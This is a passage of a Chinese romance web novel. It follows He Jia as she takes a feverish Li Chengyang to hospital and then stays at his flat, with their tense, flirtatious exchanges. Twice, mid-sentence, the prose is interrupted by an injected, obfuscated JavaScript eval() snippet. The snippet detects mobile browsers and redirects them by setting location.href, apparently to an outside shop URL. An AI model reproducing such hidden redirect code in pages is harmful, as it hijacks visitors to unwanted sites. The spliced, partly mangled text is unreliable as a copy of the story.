何嘉屏住呼吸,“我是说,你今天怎么在这里?你有什么事吗?” 他脑子不太清晰,只含糊回答:“我本来就该在这里。” “你是说,你这两天要住店里,用这个房间吗?” “不是,我的意思是,每年的这个时候我都在这里,一个人。” 张壅昨天也是这么告诉她的。 一字一句她都记得,心里刺痛几分,没有表现出来。她又后退一步,专注探究他的表情。 今天的他,真的有点不正常,特别是眼睛,看上去红红的,像是生病了一样。 “你有病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308767|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”她没忍住这么问了一句。 他一直朝她靠近,直到她后腰抵住窗台的时候才停下。 “你病了吗?” 他低笑:“我没病。” 她不相信:“你人是清醒的吗?我看你好像不太正常。” “不正常?不正常吗?” “你这样,难道很正常吗?” “很正常,哪里不正常?” 何嘉嫌他烦,将他推开两步:“你没事就出去,我忙着呢。” 他不听话,故意低头去找她的眼睛。炽热的呼吸打在她脸上,她从未这么清晰地在他眼睛里看到过自己。 嗯,很好,现在小朋友不但对他冷淡了,竟然还一直觉得他有病。有病就有病吧,反正他是真的有病。 李成杨的眼神黏在她身上,呼吸变得急促。 何嘉无法理解,只能盯着他步步凑近,后腰硌得生疼。他却强硬地伸出双臂,撑在她腰边。 把她圈在窗户和自己的身体之间。 禁锢。 “你干嘛?!” “我……” 他的目光落在她的嘴唇,眼神幽暗。 “李成杨。”小姑娘一脸怒气,像炸毛的狐狸。 “嗯。”声音沙哑。 “你别离我那么近。” 他不说话,呼吸喷在她鼻尖。 一股热气包围何嘉,仅仅是这样,她都能猜到他怀抱的温度。 他身上的荷尔蒙混着她发间的香味,让他体温变得更加灼热,而他动动手指,无意识触碰到她腰间的布料。 空气中的气息开始暧昧、旖旎。 她咽了咽口水,尽量冷静地问他:“李成杨,你是不是真的病了?你病了就去吃药,你跑到我这来做什么?你现在还离我这么近,你到底想干嘛?你最好赶快离我远一点!” 他眸子变暗,还在观察她说这话的表情是不是认真的。 因为这句话的每个字都精准刺在他的心窝上。她问他来干什么? 是啊,他来干什么? 哦,他知道了。她是真的不管他了,她是真的不关心他了,她是真的将他排除在外了。 原本雀跃的心脏一瞬间骤停,他感到大脑头痛欲裂,全身的力气都被抽空,眼前只剩下她质问的神情。 “李成杨?你说话,你到底怎么了?” “李成杨?” 他的视线开始模糊,整个身体都朝前倾斜,猝然地、毫无保留地抱住了她的身体,没发出一点声响。 “李成杨——!” 何嘉立马环住他的身体,感觉肩上传来一片异常的温度。 她猛地拍了拍他的背:“你怎么了?你是不是生病了?你今天不舒服吗?你说话啊!” 他身上的热气传到她身上,一点一点侵蚀她的理智。 男人的重量压得她难以呼吸,“李成杨……你还醒着吗?要不要去医院?” 他下意识喘气,热意涌进她的耳朵,她只听到他小声呢喃了几句。 “什么?你说大声一点!李成杨!你说大声一点!” “……何嘉。”他只重复了这两个字。 “我听到了,我听到了!”何嘉的情绪炸开,抱着他的时候语气颤抖:“你等等好不好?你先别晕,我打电话叫救护车好不好?” 他却气若游丝,下一秒就坠入黑暗,不再回应。 何嘉不再跟他说话,将他吃力地拖到床上平躺,又用手探了探他的额头,温度烫手,果然是发烧了。 昨天看他好好的,今天怎么就烧成这样了?她有些拿不准主意,只想了一秒还是觉得应该叫救护车。 一个电话过去,医生说很快过来。那就好,那就好,她坐回他身边,心脏还因为后怕而快速跳动。 他的脸颊潮红,就像那个晚上一样,不声不响地躺在这张属于她的小床。 何嘉替他垫上一根冰凉的毛巾,用手戳了戳他的脸,热意停留在她的指尖。 不忘故作威胁:“李成杨,你要是烧死了怎么办?我绝对不会给你扫墓的,你这家饭馆也归我了,所以你最好不要有事。” 30. 第30章 李成杨再睁眼的时候,眼前一片纯白,就和那天那个梦里的白色一样。 但又好像有点不同。 他从床上坐起来,首先看到的就是何嘉那张皱眉的脸。 “你醒了?”她声音很淡然。 他点头,问她:“我晕倒了是吗?” “嗯,你差点烧死了。” “很严重吗?” “你觉得呢?” 他不懂她在气什么,动了动手指,发现右手插着针管,正在输液。 “我怎么晕倒的?” “你问我?” 他真的问:“是你送我过来的?” 她冷哼一声:“你不想死就躺着,现在、立刻。” 李成杨从来没见过她这么冷漠的样子,只能听话躺下,脑中不断回忆自己到底做错什么了。 他好像是,跑到二楼去看她有没有回家,和她说了几句话之后就失去意识了。 “我怎么了吗?”他无助地问她。 她好笑:“你怎么了吗?你自己不知道?你不知道就动动腿感受一下。” 他试着动了动小腿,上面立马传来一股巨痛。 “嘶——”他掀开被子去看,小腿被缠上几圈绷带,看不出症状。 但是他莫名就有点心虚了。 “知道了?” 何嘉给他到了杯水,恶狠狠地放在床头上。 “你是不是脑子不正常?” 李成杨睁大眼睛看她:“也没有。” “那天你不是知道石头上有细菌吗?你给我消毒了你自己呢?那个池塘有多少细菌你不知道吗?你后来回去是不是从来没有管过?” “是。” “你知不知道刚才医生给你清创的时候说什么了?你就是因为伤口感染才发烧的,谁知道你一天又跑来跑去被风吹了没有,现在更严重了!你是不是疯了?” “是。” 何嘉瞪他一眼:“你是什么是,你不知道自己年纪大啊?你是怕自己活的太久吗?你想死也别死在我面前好吗?” 他全程不敢说话,但莫名想笑,嘴角不受控制地上扬。 她轻而易举地捕捉到他的表情,心里的火一下几丈高:“我不管你了,你自己一边等着输液去吧,我明天就回安城了,你自己爱干嘛就干嘛。” “别走。”他拉着她的手腕说:“是我的问题,你别走。” 何嘉甩开他的手掌,留下一个毅然决然的背影。 他的手顿在空中,失落的情绪充斥他整个胸腔。 旁边的病床躺了个大妈,忍不住转头给调侃他:“啧啧,小伙子不爱惜身体被老婆骂啦?” 李成杨躺着回答:“是。” “哎哟,放心好了,她就是担心你才骂你,现在估计给你拿药缴费去了,等会儿就回来了。” “是吗?” “咋不是呢?以前我家老头儿病了我也这么骂,最后还不是回来接他走。” “好吧。” 他安静地翻了个身,祈祷大妈说的是真的。 脑子里闪过好多有关于她的回忆,她笑的样子,她哭的样子,还有她生气的样子。这段日子,她几乎占有了属于他的全部空闲时间。 可是为什么? 他明明已经隐晦地拒绝她了,他明明应该离她远一些,可是真的看到她对他冷淡的样子,他一下子就觉得有些难受了。到底为什么? “小伙子,你看啊。”大妈指着门外的女孩,“她在那儿和护士讲话呢,估计是在问你的出院事项。” 李成杨顺着她的手指看去,何嘉果然站在外面,根本没走。 他松了一口气,对大妈非常感谢:“我看到了,谢谢您。” 大妈笑了:“哈哈这有啥啊,你运气还挺好,刚从急诊出来输完液就能出院了。” 李成杨笑笑不说话。 何嘉进门看到他的脸,依然没给他好脸色。 “你看什么?”她把手上的药丢在他身上,语气愤愤:“你的药贵死了,还有叫救护车、急诊的费用,全都贵死了,你快点把钱还给我。” 李成杨露出酒窝:“嗯,晚上就给你。” “哼。” 她坐在一旁开始刷手机,都怪李成杨这家伙,她都还没来得及买回安城的票。 本来打算明天走,结果大巴已经没票了,完全打乱了她的计划。可恶。 她突然抬头,抓住他留在自己身上的视线。 “你今天到底怎么回事?” 李成杨歪头反问:“我怎么了吗?你一直问我这个问题。” “谁叫你莫名其妙跑到二楼来,又做些莫名其妙的事情。” “我做什么了?” “你做什么你自己不记得?” 他哪里不记得,不过是想从她口中听到罢了。 “我什么也没做。” “对,你什么都没做,你就只是耽误我准备收拾东西回家的时候。谁知道你现在发什么神经,上周钓鱼的时候你不是挺……” “挺什么?” 何嘉想到那天的事情又开始不舒服,明明那天他还大言不惭地教育她,怎么今天就突然变得那么奇怪。 “挺有病。” 又加上一句:“叔叔,长辈叔叔。” 这是在提醒他,那天他着重强调过的事情。 李成杨没回应,一下子就想到那个下午,小姑娘坐在他面前,听到他说的那些话之后,脸上露出了落寞又受伤的神情。 他的心脏也跟着疼痛起来。 现在忽然有点后悔。 “你还是躺着吧,”她将药品从他身上移开,“已经输了一会儿了,你躺着再输一会儿就可以走了。” 他照做,眼睛舍不得从她身上离开。 她在药袋里翻了几下,对他说:“刚才医生已经给你打了抗生素和破伤风,后面几天都要忌口。酒不能喝,辣椒生姜都不能吃,海鲜也不可以,多吃点……你到底在看什么?” 何嘉被他的目光看得不自然,“你脑子烧坏了?” “没有,什么都没有。”他呆呆地摇头。 她继续说:“多吃点蛋白和维C,多喝水。这两天没事就不要洗澡了,免得又弄湿伤口。” 他还是这么看着她,再次回想到那个下午,她说她对他从来都不是依赖。 原来是真的,她从来都不是依赖他。 她一直很独立,就连刚刚也是她,帮他在医院跑上跑下,全程非常冷静。 现在是他,在依赖她。 想到这里,他的心脏生出一点酸涩。 他怎么才知道,他对她的心思早就超出了长辈对晚辈的照顾。 “何嘉。” 他悄悄攥住床单一角,不自信地看着她。 “你现在还……” 何嘉打断他:“刚才说的都听见了吗?” 他原本要问的话一下卡在喉咙里,像只漏气的气球一样瘪掉。 “听见了。”他低头不再看她。 明明他已经对她说了那样的话,他还想再问什么呢? 时至今日,他才发现自己一点也不正大光明,反而趋近于卑鄙。 心中郁结,也便不再主动和她搭话,病房只剩下隔床大妈徒手剥核桃的声音。 “咔哒”一声,还真剥开了。 大妈剥了两个核桃递过来,“小妹儿,你和你老公吃点儿?这个核桃好得很,特别营养!” 何嘉接过核桃说谢谢,但是纠正:“他是我叔叔,不是老公,我这么年轻,哪有那么老的老公。” 大妈疑惑:“哎,他刚才说……” “谢谢阿姨!”李成杨从何嘉手里拿了核桃,表情十分生硬:“我就喜欢吃核桃。” 何嘉狐疑地盯他一眼:“你刚才说什么了?” “没什么。” “哦。”她才懒得追究。 吃完核桃,液也输得差不多了,何嘉叫护士进来拔针, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316257|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护士见他已经退烧,简单嘱咐几句就让他们出院了。 两人走在大街上,一前一后。 李成杨在后面追着何嘉的步子,腿上一阵刺痛。 何嘉听见他冷哼的声音,回头看他:“怎么了?还痛吗?” 刚说完就想起自己还在烦他。 “你痛就走慢点好吧,都是老年人了还想赶上年轻人的步伐。” 他没发出声音,继续跟着她。 何嘉心烦,渐渐放缓步调。 两人走到街角的时候看到家炒菜馆,她停在门口说:“我饿了,吃饭吧。” 李成杨说好。 何嘉让他先找张桌子坐着,又问:“你想吃什么?” 他说:“都行。” 她不理他了,自己走到收银台点菜。 负责点餐的是一个男生,一身白色的羽绒服,人长得高,看上去很清爽。 何嘉跟他说话的时候,他一直笑着看她。 “这些就够了吗?”男生声音很温和。 何嘉回答:“对。刚才的菜都不要辣椒,也不要太重油,麻烦做清淡一点,谢谢。”她也朝他笑笑。 男生露出两颗虎牙,朝她又说了句什么,她很有礼貌地继续搭话。 李成杨盯着他们的身影,心里一阵说不上来的诡异。 他们看上去应该是同龄人,自然能找着话题。可是那个男生的视线一直落在她脸上,看上去就不是那么让人愉快了。 他闷声咳了一声,没人在乎。 过了一会儿,何嘉突然给男生指了指他,李成杨眉毛轻挑,盼望着她快点回来。 但她没有,反而等到所有的菜都上齐了才回到位置上。 她给自己盛了一碗饭,开始吃起来。 李成杨沉默地望着她。 “你不吃吗?”何嘉眼皮都没抬。 他指着盘子里的木耳炒肉说:“我不喜欢木耳。” “哦。” 他又指向另一盘菜:“也不喜欢西兰花。” “哦。” 谁管他啊。 李成杨憋着心里的问题,就是不动筷子。 何嘉受不了,放下饭碗皱眉:“这些都是给你点的,你的伤口不可以吃发物,不喜欢的话就忍忍吧。” 他却抓住机会问她:“你们刚才在说什么?” “嗯?”她没反应过来。 “你刚才,和那个人在说什么?”他指了指那个男生。 “他吗?”何嘉回头看了一眼,“他刚才问我可不可以认识一下。” “嗯?” “嗯。” “你同意了吗?” 何嘉慢悠悠回答:“我说不可以,因为你不准。” 李成杨:“?” “为什么?”他的心跳异常跳动,一点点期待。 她却很平静地说:“因为我说,你是我爸。” 空气静止,只剩何嘉咀嚼食物的声音。 他错愕地盯着她的眼睛,一言不发。 “怎么了?你介意吗?你之前不是也说,我是你女儿吗?” 何嘉眼神戏谑,故意玩弄他,“你比我大十岁,努努力真的可以当我爸了,不然你还想当我什么?叔叔?也不是不可以。” 他的瞳孔收缩,表情僵在脸上。 十岁这样的概念,从前是他提醒她,现在却变成噎他的话。 他一下就没了心气,喉头苦涩作哑。 他,整整比她大了十岁,当她还处在青春正好的年纪,他已经开始面临初老的问题。 何况就在几天前,他不是那样固执地拒绝过她吗? 人不可以那么贪心,一边推开她,又一边渴望她的温柔。 “好,当叔叔也可以。” 李成杨拿起筷子,将阴霾埋进心里。 “嗯,叔叔,成杨叔叔。” 何嘉很有礼貌地点头。 这顿饭,两个人各怀心事,都不再说话。 31. 第31章 从饭店走出来,何嘉的心情一直闷闷的。 刚才她说让他当叔叔,没想到他真这么应下了。 她原本以为他早上来房间找她的时候,已经对她多了一点不一样的感觉。 他那个时候有意靠近她,看着她的眼神,分明不清不楚,就像是,像是…… 男人看女人的眼神。 她没有感觉错,他在她耳边低语,呼唤她姓名的时候,明明是那样需要她。 可是现在,他又变回那个疏远的模样。 她是真的搞不懂他,他到底是什么意思? “李成杨。”小姑娘回头等他。 男人止步,很淡然地说:“叫叔叔。” 她抿嘴,扭头就走。 突然感觉很委屈,明明他刚才不是这样的,为什么他对她总是忽冷忽热? 为什么有关他的事情,她总是要猜来猜去? 为什么他要这么对她,偏她最近还这么心疼他。 坏人。 何嘉越走越气,摸出时间一看,才下午两点。那就回饭店算了,总之不想看到他。 她伸手在口袋里抓了几个来回,心里犯嘀咕。 钥匙呢? 她不信,又在口袋里仔细摸了一圈。 还是没有。 难道刚才出来的时候忘带了? 她停在街上叹了一口气,再次朝身后的人转身。 “叔叔,我出来的时候没带饭店的钥匙,你借我用下你的。” 李成杨很安静地说:“我没有。” 她不信:“你借我用一下钥匙都不可以吗?我不是不还给你呀,我们先回饭店,你帮我开了门再回家就好了。” 他解释道:“我真的没有。我平时不在店里,钥匙一把给张姨了,一把给你了。” “那怎么办啊?我的东西还在里面呢?” “你打电话问下张姨,看她现在还在不再余川。” 何嘉拨号出去,对面很快接通:“小嘉啊,怎么啦?” 她问:“张姨,我今天出门把饭店钥匙落饭店了,你现在方便吗?我可以去你那里借一下钥匙吗?” “哎呦!”张姨无奈:“我们今天回老家了呀,这可怎么办?” “啊,这样啊,那好吧。” “要不你问问成杨,看他那里有没有多的?” 何嘉丧失力气,“他说他也没有。” “啊?那你怎么办啊?” “没事,我再想想别的办法,张姨你忙吧。” “那好那好,小嘉你注意安全啊!” “嗯嗯。” 电话挂断,何嘉沉默地看向李成杨:“怎么办?她不在余川。” 李成杨也没办法:“那可能只能等她回来再说了。” “可是我明天要回安城,东西都在里面。” “嗯,我知道。” 何嘉挠挠头,整个人特别烦躁。 看到李成杨的样子更是怒火中烧,要不是他,自己现在早就收拾好准备回家了。 偏偏他还跟没事人一样。 生气! “你说我怎么办?饭店回不去我今天住哪里?” 李成杨说:“住酒店。” 他越若无其事,她越生气,“我才不要住酒店,今天给你看病才花了好多钱呢。” “我给你转钱。”他拿出手机,按了五千整过去,“好了,可以住酒店了。” 何嘉:“你转我这么多干什么?” “加上这个月的工资。” “我不需要这么多。” 他只说:“是不需要还是不够?不够再转。” 何嘉抬头瞪他,不知道他又跟她闹什么别扭,说话怎么阴阳怪气的,于是她也存心给他找不痛快。 “够了我也不想住酒店,我天生就不爱住酒店。还有,我是因为送你去医院才忘记拿钥匙的,你现在快点想个解决办法出来。” 他冷哼一声:“那你睡大街。” 她在他手臂上来了一巴掌,很严肃地说:“成杨叔叔,我是因为你才回不了饭馆也回不了家的,你今天难道不应该给我个说法吗?” “什么说法?”他盯着她头顶的发旋,咄咄逼人:“你想让我给你什么说法?” 她好气,这人怎么这样啊? “你!我刚刚都对你负责了,你现在不应该对我负责吗?” “我负什么责?”他弯腰和她平视,将她的恼怒尽收眼底:“你确定要我负责?” “不然呢?”她气鼓鼓地看着他。 李成杨笑了一下,然后转身,走了。 就这么,走了。 何嘉瞪大双眼,不敢相信自己看到了什么。 她急忙追上去扯住他手腕,女孩的皮肤又滑又软,让他不自然地屏住呼吸。 然后转身对她说:“何嘉,今天的事情我很感谢你,没有你我可能已经死了一次了。但是你说你不去住酒店,我也没有办法,我总不可能带你回家吧?” 回家? 这话在何嘉耳里听着,突然就有了那么点意思。 “怎么不行?”她抓着他的手腕更加用力。 李成杨怔住,抵了抵牙关,“你觉得合适吗?” 合适吗?就他们两个人,在他家里…… 不知道想到什么,她脸颊慢慢变红,但是毫不松口:“合适,特别合适,你不是我叔叔吗?那你得带我回家,没什么不合适的。” 他顿住,刻意观察她的表情。 小姑娘耳尖粉红,眼神却很坚定。 她到底在想什么? 他搞不懂她。 后退一步,他试着扯开她的手指,“不合适。你去找个酒店,有事就给我打电话。” 她不依他,死死地抓住他的手:“不行,你今天得带我,不然你就别想回家了。” 两人在路上僵持,引得路人纷纷侧目。 他滚了滚喉结,脸上三根黑线:“何嘉,放开我。” 何嘉故意大喊:“你不能不管我!成杨哥哥,你不能不对我负责!你怎么能这么对我?你难道不要我了吗?” 好几个人路人停下来指指点点,看向李成杨的眼神皆是指责。 “啧啧,这男的看上去人模狗样的,竟然是个渣男,怎么能始乱终弃呢!” 李成杨气得胸口疼,直接蒙住她的嘴巴:“怎么说话呢?” 她却狡黠地对他眨了眨眼睛。 然后,伸出舌头,在他掌心舔了舔。 柔软的舌尖滑过他的手心,热意和湿意不断熨烫着他的神经。他闷哼一声,酥麻从手上爬上背脊。 她还这么看着他,没有停止的想法。 他只好放开她的脸颊,猛地打量自己的手掌。 上面竟然还留着一点水痕,如此触目惊心的暗示。 “何嘉。” 他眼神暗了,沉着声音批评她:“你多大的人了?难道不知道什么合适,什么不合适吗?” 何嘉湿漉漉地望着他:“成杨哥哥,我怎么了?” “你……”李成杨说不出话,一副吃了苍蝇的表情。 何嘉见了特别满意,谁让他总对她那么坏,谁让他总对她忽冷忽热? 他感觉胸口快要气到爆炸,转身就往街对面走去。而她十分机灵地抓住他的袖口,在他身边悠悠说道:“走吧,回家。” 李成杨一字一句:“回、家?” 她很坦然:“对啊,回、你、家。” “呵。”他气得不再说话,迈开腿大步往前走。 “慢点慢点,你腿上还有伤呢。”她连忙提醒他。 走到李成杨的小区足足四十分钟,一路上他不说话,她也不说话。两个人就这么僵持,谁也不让谁。 走进小区,何嘉忙不停观察这个小区。楼盘不高,但装修和绿化都很好,走进小区的时候保安还给他们打招呼。 “这是你租的房子还是买的房子?”何嘉问他。 他没好气地说:“修的。” 何嘉觉得好笑,他在“yesorno”之间选了“or”。 “我说正经的,你是租的还是买的?” “修的。”他坚持。 何嘉没善罢甘休,继续问:“这里租的话一个月多少钱啊?你买的话首付给了多少?” 他觉得她烦,“不记得了。” 她扯了扯他的袖子:“你怎么什么都不记得了?” “我什么时候什么都不记得了?” “我上次问你前任的事,你也说不记得了。” “哦,确实不记得了。” 走进电梯,何嘉看他按了十一楼。 她说:“11这个数字很好,特别对称。” 他不理她。 “你为什么选十一楼?这个小区一共十六楼,你选11有什么特别的含义吗?” 他还是不理她。 “诶,成杨叔叔。”她戳戳他。 他咬着牙说:“别叫我。” “哦。你真奇怪,刚才在路上明明让我叫你叔叔,现在又不乐意了。还是说,你还是喜欢我叫你成杨哥哥?” “嘘。”他又做了那个噤声的手势,但她这次不上当,一个劲儿烦他:“成杨哥哥,你平时都一个人住吗?哎,你说说呗,这是你租的房子还 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“自己坐。”他不跟她闲聊,指了指沙发,往里屋的方向走去。 “那你干嘛?” “我干嘛?我去照顾小孩。” “什么小孩?”何嘉跟在他背后:“你养小孩了?!” 他停在卧室门口,“你要进来?” 何嘉探了个头问:“里面有小孩吗?” 李成杨无语道:“我面前的不是小孩?” 她反应过来是在说她:“哦,我就在这里,不用你照顾。” 他拿着门把手,关门之前说了句:“我要给你换新的床单,既然你不用我照顾的话,晚上就睡沙发。” “什么?” “啪嗒。”门被他关上。 何嘉朝他做了个锤子的手势,转身回客厅了。 反正是李成杨的沙发,不坐白不坐。 讨厌。很讨厌。 小姑娘拿出手机,点开通话薄,给安城那边打了个电话。 是林桂兰接听:“小嘉,你明天什么时候回来啊?” 何嘉遗憾地说:“林姨,我没买到明天的票,可能要年三十才能回来了。” 林姨安慰:“没事没事,晚两天没关系,我今年不回老家,年三十都在这边的。” “啊,谢谢林姨了,麻烦您三十还要过去一趟。” “没有没有,我儿子他们今年说是要旅游过年,我一个老婆婆不懂这些,还是待在安城好,我和你阿婆正好做个伴啊。” “嗯,那就麻烦您了,我尽量早点赶回来。” “好好好。” 这边刚说完,李成杨就抱着一堆被套走出来,路过她的时候问:“你不是明天走吗?” 何嘉躺在沙发上回答:“托您的福,买不到明天的票了,只能年三十再走。” “那你这两天都住这儿?” “好像是噢。”她用手撑着脑袋:“多谢成杨哥哥照顾。” 他一声不吭地走去厨房,将被套全部丢在洗衣篮里,最后无奈地叹了口气。 他的小朋友又要开始折磨他了。 “成杨哥哥——” 客厅传来她的声音。 “干嘛?”他两手叉腰,神情不快。 她朝他笑笑:“已经三点多了,我们晚上吃什么?” 他看了眼表,“你有什么想吃的没?” “我想吃蒸羊羔儿、蒸熊掌、蒸鹿尾儿、烧花鸭、烧雏鸡、烧子鹅、卤猪、卤鸭、酱鸡……” “说人话。” 她朝他吐舌头,“我想吃蘑菇、三月瓜、土豆。” 他气笑了:“上次烤肉你没吃够?” “没有。” “行,你爱吃就多吃。” “嗯嗯。”何嘉补充道:“我还要吃上好佳。” “什么上好佳?” “就是,我上次给你的那个糖,八宝果糖。” 他脑海里突然闪过什么,那颗浅绿色的,葡萄味的糖果。 还有她眼里的亮晶晶。 就是在那个晚上,他第一次对自己的动机产生了质疑。难道,在那个时候,他就已经开始失控了吗? 沙发上的女孩在等他回答,眼睛忽闪忽闪,让他的心脏又不受控制地狂响。 “好。我知道了。”他朝大门走去,回头叮嘱她:“我去买菜了,你自己玩一会儿,想看电视自己开,想吃零食就等我回来。” “好的。”她弯着眼睛朝他挥手:“快点回来。” 32. 第32章 关上大门,李成杨用手揉了揉后颈,血液还在因为何嘉的笑容沸腾。 他失神地摇头。她只是朝他笑了笑,他的心情就无法再平静。 就好像,他整颗心脏都已经被她捕获。 可是,这样的感觉,从来也没有过。 他心如乱麻,还是先不要想这个问题了。 房间里的何嘉还躺在沙发上,此刻百聊无赖地刷着手机。 没两分钟,她踩着拖鞋在室内走来走去,第一个目的地就李成杨的卧室。 房间不算特别大,一张一米五的床就占了室内一半,外加一张桌子和床头柜,整个房间井井有条。 她十分自然地往他床上一躺,想到这张床的主人,甜甜地笑了起来。在床上打了两个滚,她忍不住用被子紧紧裹住自己,再狠狠地嗅闻一圈,像一只小狗一样探寻更多气味。 直到鼻腔里充斥着一股洗衣液的淡香,还混杂着一点木头的死气沉沉。她猜想这床被子是他刚刚才换的。 是给谁换的?是给她吗? 她又深吸一口气,这个味道和他身上的味道如出一辙,熟悉的柠檬夹杂咖啡,两种截然不同的物种,结合在一起竟然出乎意料的好闻。 “李成杨啊李成杨。” 她抱着他的被子,心里突然有点惆怅。 “如果你对我没有任何感觉的话,为什么又带我来这里呢?如果你对我也有感觉的话,为什么又拒绝我呢?” 想不出个所以然,何嘉从床上爬起来,目光一下子落在桌子的一角。 那里放了一瓶矿泉水。 走进仔细来看,准确来说是一个矿泉水瓶,和她从前送他的那瓶一样,都是百岁山。 她拿起那个瓶子,狐疑地将它的瓶底倒转。 “谢谢老板。”一排黑色的小字,字体遒劲有力,出自谁手她熟悉得不能再熟悉。 这是她那天特意写上去的,这真的是她那天送他的那瓶水。 可是它怎么会在这儿?不对,是他,怎么会把它留在这儿? 何嘉不明白,捏着那个瓶子,心里冒出很多疑问。 脑海里不断闪现他们相处时的画面,他耐心的表情,他心软的表情,他严肃的表情,他生气的表情,还有他照顾她的神情。 那些全都是他,他一直在她心里从未走远,即使是他那时候拒绝她,她也没有想过将他排除在外。 可是他呢?他到底是什么意思。 他沉默的时候究竟是真的拒绝还是等同于放纵? 想到这,她心里又憋着一口气。凭什么他想怎样就怎样?难道他是准备享受她对他的喜欢,却又不想负责吗? 臭老头! 她将那个矿泉水瓶重重扔在桌子上,气呼呼地躺回他的床上。 说时迟,那时快。大门正好传来钥匙旋转的声响,李成杨提着两大袋东西进来。 朝客厅环视几眼,没看到人。 “何嘉——?” 何嘉听到了,但就是不想回答。 他放下东西,脚步声朝卧室走近,在他即将推门而入的时候,她立马闭上双眼,装作睡着。 男人看了看她的脸,将呼吸放得很轻,站了一会儿之后将她身下的被子反过来盖住她。 一阵香味入侵她的鼻尖,她忍着没动。 又替她掖好被角,他蹲在地上注视她,目光灼灼,实在是让她浑身不自在。 她细数时间,过了半分钟,他竟然还没走!他想干嘛?这个臭老头到底想干嘛? 李成杨就这么蹲着,她不动那他也不动,他倒要看看她想做什么。 两个人无声对峙,何嘉大气也不敢出。 又过了两分钟,何嘉实在是忍不住了。她忽然大睁双眼,十分气愤地问他:“你干嘛看人睡觉啊?” 李成杨嗤笑一声:“我没有看人睡觉的习惯。” “那你一直盯着我干嘛?” 他语调上挑:“嗯,我看你演得很辛苦,忍不住配合你。” “你!”她努努嘴,“你怎么知道我没睡?” “我就是知道。” “那我现在要睡了,你快点走。” 他却说:“你不困,出来吃零食。” 何嘉不听他的,非要坐在床上不动。 他也懒得拉她,只说:“我去做饭了,你自己出来吃。” 她盯着他的后脑勺,气不打一处来。 男人很快回到厨房,开始准备晚上要吃的食材。 何嘉这才慢悠悠走出卧室。 饭桌上放着满满一袋零食,她打开一看,不仅有她要吃的上好佳,还有薯片、旺旺雪饼、奥利奥和其他一堆脆口的零食。 她撕开雪饼吃了一口,又拿出两颗上好佳放在兜里,然后走进厨房。 “你怎么都买的脆口的零食?”她将其中一颗糖放在嘴里,站在他身后。 他正在切菜,看了她一眼说:“别站我后面,等会儿踩到你了。” 她移到他身边,歪着头问:“你也会做饭吗?” “什么叫‘也’?”他没抬头,手上动作不停:“还有谁会做吗?” “壅哥会做,安叔也会做。” “他们会做很正常,我看起来不像会做的吗?” 她将嘴里的糖咬的嘎吱作响,“不是,只是看你每天工作都好忙,哪有时间自己做饭?” “以前自己做,上大学之前。” “高中的时候?”何嘉想到张壅跟她说过他的那些经历,有些不敢再问这个话题,继而话锋一转:“我告诉你一件事。” “什么?”他已经切好牛肉,又开始切芹菜和小米辣。 何嘉小心翼翼地凑到他耳边,“其实我一开始就对壅哥没想法,我一开始喜欢的就不是他。” 李成杨的菜刀悬在空中,目光微怔一瞬又恢复正常。 他说:“嗯,我知道。” 因为你喜欢我。 “你知道么?你知道的话,之前为什么还专门提醒我,说他结婚了。” “我怕你不知道。” “好吧。” 她摸出口袋里的另一颗糖,是玫红色的包装。 “你要不要吃?是桃子味的。” 他停顿一下,说:“我想吃绿色的那个。” “绿色的?葡萄味的那个吗?” “嗯。” 何嘉走出去给他拿,回来的时候问:“我上次给你的也是葡萄味,你喜欢这个味道吗?” 他说:“嗯,喜欢。” 喜欢的是你。 她将糖果放在他的口袋,没再接话。 李成杨却奇怪地盯着她。 “你不是要给我吃糖?” 她说:“给你了啊,在你兜里,你等会儿切完了再吃。” 他看着她不说话。 她想到什么,调侃道:“你想让我给你剥开然后喂你是吗?” 他抿紧嘴唇,还是不说话。 “我不要。”小姑娘故意朝他一笑:“你想吃就自己剥,我才不要帮你。” 他动了动下颚,指着外面的零食:“你,出去吃零食,现在就去。” 她没动,“我不想吃零食了,你怎么老让我吃零食?” “那你就吃水果,冰箱里。” 何嘉打开冰箱,草莓旁边站了一排百威,她拿出其中一瓶说:“我可以喝吗?” “你觉得呢?” “我觉得可以。” 李成杨抢过她手里的啤酒,“小朋友不能喝。” 何嘉皱眉:“我都二十二了,算哪门子小朋友?” “你跟我一样大了就可以喝。” “你不讲道理!” “那又怎样?”他朝她俯身,气息打在她脸上,“我不讲道理你能怎样?” 何嘉忍着脾气说:“我虽然不能把你怎样,但是我提醒你一下,你别以为自己那么老就能喝,你每次喝酒都上脸,你难道不知道这样叫做‘酒精过敏’吗?” “是么?” “是啊,这种人喝多了容易死。” “我很健康,不会死。” “也不知道谁早上差点把自己烧死。”她低头嘟囔:“那么大年纪了都不知道爱护身体,不舒服了还要别人来担心。” “担心?”他又朝她近了一寸,手掌撑在冰箱的隔层上。 何嘉感觉背后不断散发冷气,忍不住打了个激灵。 “我刚刚有说话吗?我没有啊,你听错了吧。你快走开一点,冰箱好冷。” 他不让,语气带着点挑逗的意味:“谁担心?你担心我吗?担心什么?担心我会死?有多担心?” 她不敢看他的眼睛,双颊不自然地红了。 “我才没有担心你。你别自作多情了。” “哦,是这样吗?” “是。” “那我等会儿吃饭要喝瓶酒。”他说着就要去拿啤酒,小姑娘立马抓住他的手腕:“不行!你不许喝,你以后都不许喝!” 